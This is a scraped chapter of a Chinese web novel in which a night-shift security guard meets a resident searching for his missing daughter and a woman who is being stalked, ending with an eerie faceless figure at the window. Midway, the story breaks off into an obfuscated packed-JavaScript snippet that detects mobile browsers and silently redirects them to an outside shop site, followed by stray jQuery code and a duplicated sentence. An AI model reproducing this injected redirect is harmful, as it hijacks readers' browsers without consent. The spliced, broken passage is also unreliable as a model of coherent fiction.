文趣网 > 其他小说 > 玉城研究院 > 24.第二卷 匣中囚笼 第03章
    干戚来接班的时候,唯白晓在跟一个女人聊天。

    他倚在保安室门框上,身子微微前倾,姿态放松又不失分寸,笑意恰到好处,看着格外可靠妥帖。

    “白哥。”干戚打了声招呼。

    “诶,你来了。”唯白晓闻声直起身子。

    “我来接班。”干戚弯了弯眼。

    “今天是你第一次独立夜班,加油啊。”唯白晓开口,随即转头看向女人,语气带着几分客气的关切:“……正好我下班了,顺路送你回去吧?”

    女人愣了愣,随即笑着摆手:“不用不用,我家就住这栋楼,几步路就到啦,倒是你,下班也早点回去休息。”

    说完,便转身踩着步子往单元楼走去。

    值班室门口,便只剩下干戚和唯白晓两个人。

    “白哥,女朋友?”干戚挑眉,半开玩笑地打趣道。

    唯白晓听完,唇角的笑意淡了些许,语气平淡的解释:“只是小区的业主,碰面多了,客气两句罢了。”

    他目光扫过楼道口,夜色沉沉,楼道里的灯光已经熄灭。

    “别胡思乱想。”唯白晓收回视线,看向干戚,重新恢复那副和善的模样,“夜班值守谨慎些,别把心思放在这些闲事上。”

    “行,白哥再见。”干戚扬声说道。

    “嗯,有什么事,记得给我打电话。”唯白晓应了一声,抓起外套便离开了小区。

    随着夜色越来越深,干戚百无聊赖的打了个哈欠。

    值班室里只有一盏昏黄的台灯亮着,窗外的小区浸在沉沉黑暗里,四下静得过分,连虫鸣都几乎销声匿迹。

    他靠在椅背上,随手把桌上的保温杯推到一边,拿了手电筒打算出去巡一圈。

    等干戚巡视到十三号楼楼下时,那阵窸窸窣窣的撬锁声,又一次传入耳中。

    干戚关掉手电筒,借着夜色投下的阴影,鬼魅一般贴紧墙面,朝声音传来的方向走去。

    周遭静得可怕,只有那断断续续的撬锁声,在死寂的夜里格外刺耳。

    干戚屏住呼吸,脚步放得极轻,鞋底几乎不发出半点声响,目光死死锁定十三号楼后面那个小门的位置。

    黑暗里看不清人影,只能隐约看见一团模糊的轮廓,正伏在门锁处摆弄着什么。

    那道黑影正俯身扒着门锁,背对着干戚,全然没有察觉身后有人靠近。

    干戚不再迟疑,悄无声息地从黑暗里走出,他拍了拍对方的肩膀,语气带着几分戏谑:“朋友,大半夜不睡觉,搞溜门撬锁这一套?”

    趁着那人错愕转头的刹那,干戚蓄力一拳,径直朝着对方的面门砸了过去。

    “……哎呦,我还以为是进贼了。”干戚讪讪地笑了笑,转身倒了杯热水,“不好意思啊李叔,下手重了。”

    李存彦捂着青了一大块的眼眶,没吭声。

    他脸上没有半分怒意,只是垂着眼,目光沉沉地落在地面。

    热水杯升腾起淡淡的白雾,空气被闷得有些压抑。

    干戚心里泛起一丝疑惑。

    换作旁人平白挨了一记重拳,早就该发火了,可这人从头到尾,连一句责备都没有。

    “没事。”李存彦接过杯子,轻轻摇了摇头,“……”他似乎很冷,像抱紧救命稻草一样握紧了杯子。

    “李叔,您大半夜跑那儿干什么?”干戚面上装作全然不知情的模样,旁敲侧击的问着李存彦:“…后面就是那个医院了,多危险啊。”

    “我找我女儿。”

    短短四个字,李存彦说得格外沉重。

    干戚眉心一皱,不动声色地观察着对方的神色:“找女儿?李叔,你女儿怎么会去那地方?”

    “我不知道,”李存彦佝偻的身影像一只蜷缩的虾米,“…有人说,最后见到她去了那个医院,可是…可是…”

    他的情绪有些激动,抬手揉了揉眼眶,淤青的地方被碰到,也浑然不觉疼痛:“那医院夜里面就会把所有门锁住,这个后门也是常年封死的,我女儿怎么会去那个医院呢?她又是怎么进去的呢?”

    干戚看得出来,李存彦不是在胡言乱语,却依然提出疑问:“你怎么就相信别人说的,她从后门去了医院呢?也许是离家出走也说不定?”

    “不会的。”李存彦咽了口唾沫,声音干涩,“小区就只有一个摄像头,正对着大门。我翻来覆去看了无数遍……”

    他痛苦地抱住头,指掌深深埋进发丝之间,肩膀微微发颤:“…只看得见小澄走进小区,完全没有她离开的画面。”

    “李叔,”干戚指尖轻轻叩了叩桌面,声响在安静的值班室里格外清晰:“我多嘴问一句啊,是谁告诉你,你女儿是从后门去医院的?”

    李存彦愣愣的抬起头:“…唯白晓。”

    听到这三个字,值班室里的空气仿佛骤然凝固。

    干戚叩在桌面上的指尖倏然停住。

    “也正常,他毕竟是小区保安。”干戚不动声色地岔开话题,语气听上去漫不经心,仿佛只是随口闲聊,“估计是夜里巡逻撞见你女儿的。”

    “……嗯。”李存彦眼底的光亮一点点褪去,重新覆上一片黯淡,“他说那天夜里,他亲眼看到小澄的身影一晃而过,追过去的时候,就看见她从那道后门消失不见了。”

    干戚盯着他的神色,反问道:“那你又怎么笃定,他说的就是真话?”

    半晌,李存彦才吐出一句沉甸甸的话:“……因为,警察说,在后门的夹缝里,找到了小澄的手机。”

    说话间,外面噼里啪啦下起了雨。

    雨点砸在值班室的玻璃窗上,哗哗作响,将屋内的交谈声隔出一层朦胧的屏障。

    “下雨了,我先送李叔你回去吧。”干戚伸手拎起墙角的伞,顺势撑开,“这又是黑天又是下雨的,路滑,就别再往后门那边去了。”

    李存彦抬眼望向滂沱雨幕,只是缓缓摇了摇头。

    “不用麻烦你了,谢谢你啊小伙子,耽误你这么久。”

    他没有去接干戚递过来的伞,伸手拢了拢身上单薄的外套,便转身走向值班室门口。

    门被拉开,冷雨裹挟着夜风一股脑灌进来,毫不留情地打湿了门框边缘。

    干戚望着他的背影,没有强行阻拦。

    他看见李存彦就这么一头扎进雨里,没有遮挡,任由冰冷的雨水打湿头发与肩头,一步步往黑暗的小区深处走去,很快就被滂沱的雨雾吞没。

    干戚刚带上值班室的门,一阵急促的敲门声突兀地响了起来。

    砰砰砰。

    干戚指尖抵在门沿,没有立刻拉开,而是压低声音问道:“谁?”

    门外传来一道带着哭腔,那惶惶不安的女声穿过雨幕,大喊着:“保安!开门!快开门!”

    他没有贸然敞开门,只将门拉开一道窄窄的缝隙。

    门缝外,女人浑身淋得透湿,湿漉漉的发丝一绺绺黏在脸颊,外套湿答答的滴着水,浑身控制不住地发抖。

    她脸色惨白,眼底盛满惊惧,像是刚刚从什么险境里逃出来。

    “快让我进去!”她声音发颤,不等干戚开口,便踉跄着挤进门内。

    干戚反手迅速合上值班室的木门,立马隔绝外面滂沱的风雨。

    女人后背重重抵在门板上,大口喘着粗气,胸口剧烈起伏,目光慌乱地来回扫视屋内,仿佛身后仍有东西紧随而来。

    “发生什么事了?”干戚认出来,这是接班的时候,跟唯白晓谈笑风生的那个女业主。

    女人双手死死攥住自己湿透的衣角,牙齿打颤,话音断断续续:“有人……有人跟踪我……”

    “你待在这里不要乱跑。”

    话音落下,干戚抓起桌子上的手电筒,一把拉开值班室的门,闪身踏入滂沱大雨之中。

    手电光束扫过大门与周围的楼道,冷白的光刺破沉沉黑暗,四下只有哗哗落雨的声响,看不见半个人影。

    门口只有女人仓皇留下来的水渍,除此之外,什么都没有。

    难道是雨夜惊吓,产生了错觉?

    可方才女人那副魂飞魄散的模样,半点不像是装出来的。

    干戚折返值班室,从储物柜里翻出一条干燥的毯子,递到女人手上。

    “怎么回事?”

    “他已经跟踪我一个多星期了…”女人似乎还有些后怕,她拼命

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906007|212365||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    攥紧毯子,想从这薄薄的织物上汲取一点暖意。

    她的发丝不断往下滴水,在地板晕开点点湿痕。

    “一开始我只以为是巧合。”女人深吸一口气。

    “有时候加班回家,总感觉身后有一道视线跟着,可一回头,楼道里空空荡荡,什么人都没有。”她的声音发颤,指尖把毯边绞得皱成一团,“我以为是自己工作太累,神经过敏,就没放在心上。”

    干戚身体微微前倾,没有打断她。

    “可后来越来越频繁!”女人喉结滚动,咽下一口寒气,“…半夜,我家门口会传来轻微的扭动声,隔着防盗门听得很清楚!我,我透过猫眼往外望,却看不到人。”

    “一直跟着吗?”干戚皱着眉问。

    “不是,前两天没动静了,我还以为他走了。”女人话音断断续续,身子还在止不住颤抖,“所以今天我才敢下楼去超市买些东西……可谁知道回来突然下起大雨,我急着跑回家,那道盯着我的视线,又出来了!”

    “我刚刚出去看过,外面没人。”干戚沉声道。

    “不可能!怎么会没人!”

    女人的声音陡然拔高,带着崩溃的哭腔和双手胡乱地抓挠着自己的胳膊,死死盯着那扇紧闭的值班室木门。

    “我能感觉到那道视线!就在我背上!时时刻刻盯着我!我没撒谎!为什么你们都不信!”

    女人情绪彻底失控,嗓音尖利,夹杂着压抑不住的呜咽,她冲着干戚大吼:“我没疯!我没疯!!我不是李均澄那个疯子!你们为什么不信我!”

    干戚敏锐地捕捉到“李均澄”三个字,

    女人还在剧烈地喘息,胸腔大幅度起伏,泪水混着脸上未干的雨水,顺着下颌不断往下砸,带着狼狈又愤懑的疯癫。

    干戚敏锐地捕捉到“李均澄”三个字,刚想问些什么,却发现女人的状态不对。

    她浑身猛地一抖,瞳孔骤然放大,脸上残存的血色瞬间褪得一干二净,嘴巴微微张开,却发不出半点声音。

    女人抬起手,颤抖着指向了干戚身后的那扇窗户。

    干戚顺着方向猛地转头望向窗户。

    瓢泼大雨砸在玻璃上,汇成一道道蜿蜒的水痕,将窗外搅得一片模糊。

    一个高大的黑影,正弯着身子,紧紧贴在玻璃上,整张脸隐在雨幕与阴影之中,五官模糊成一团暗沉的阴影,没有眉眼,没有轮廓,只有一片混沌的黑,却直直地朝屋内望过来。

    似乎察觉到屋里人的目光,下一秒,那团漆黑的面部轮廓,缓缓扯出一个向上弯起的弧度。

    看不见嘴唇,看不见牙齿,可那股诡异的笑意,却清清楚楚渗进屋内。

    那不是属于人的笑。

    而是一道被划开的裂口。

    女人浑身控制不住地剧烈战栗,浑身的力气瞬间被抽干,双腿一软,重重跌坐在冰冷的地板上。

    干戚用压到最低的声音,带着紧绷的警告:“你就待在这里,哪里也不要去。”

    干戚的话音刚落,窗外那道漆黑的影子,缓缓抬起手掌。

    湿漉漉的掌心重重按在玻璃上,晕开一大片湿冷的水渍,指腹贴着冰凉的玻璃缓缓向上摩挲。

    那动作像是在抚摸心上人的肌肤,却透着一股说不出的诡异与油腻,叫人浑身泛起鸡皮疙瘩。

    “装神弄鬼。”干戚低一个箭步蹬上桌面,不等窗外那道黑影有所动作,猛地一把扯开窗户。

    狂风裹挟着瓢泼大雨轰然灌进屋内,他半个身子探到窗外,冰冷的暴雨狠狠砸落,打湿他的银发,发丝凌乱地贴在额角。

    干戚一步步往前压,整个人几乎要探到窗外。

    那双眼底翻涌着浓烈的弑杀血性,没有半分惧色,只有被挑起来的战意。

    “欺负一个女人,算什么本事?”

    他的声音穿透雨幕,带着几分毫不留情的嘲弄,直直扎入对方耳中,“…有能耐,就来跟我过两招。”

    干戚手臂发力,身体又朝前探出几分,目光如利刃般扎向面前这道黑影,语气里裹挟着毫不掩饰的挑衅与杀伐。

    “……你不妨来好好猜猜,就凭你,能在我手底下撑多久?”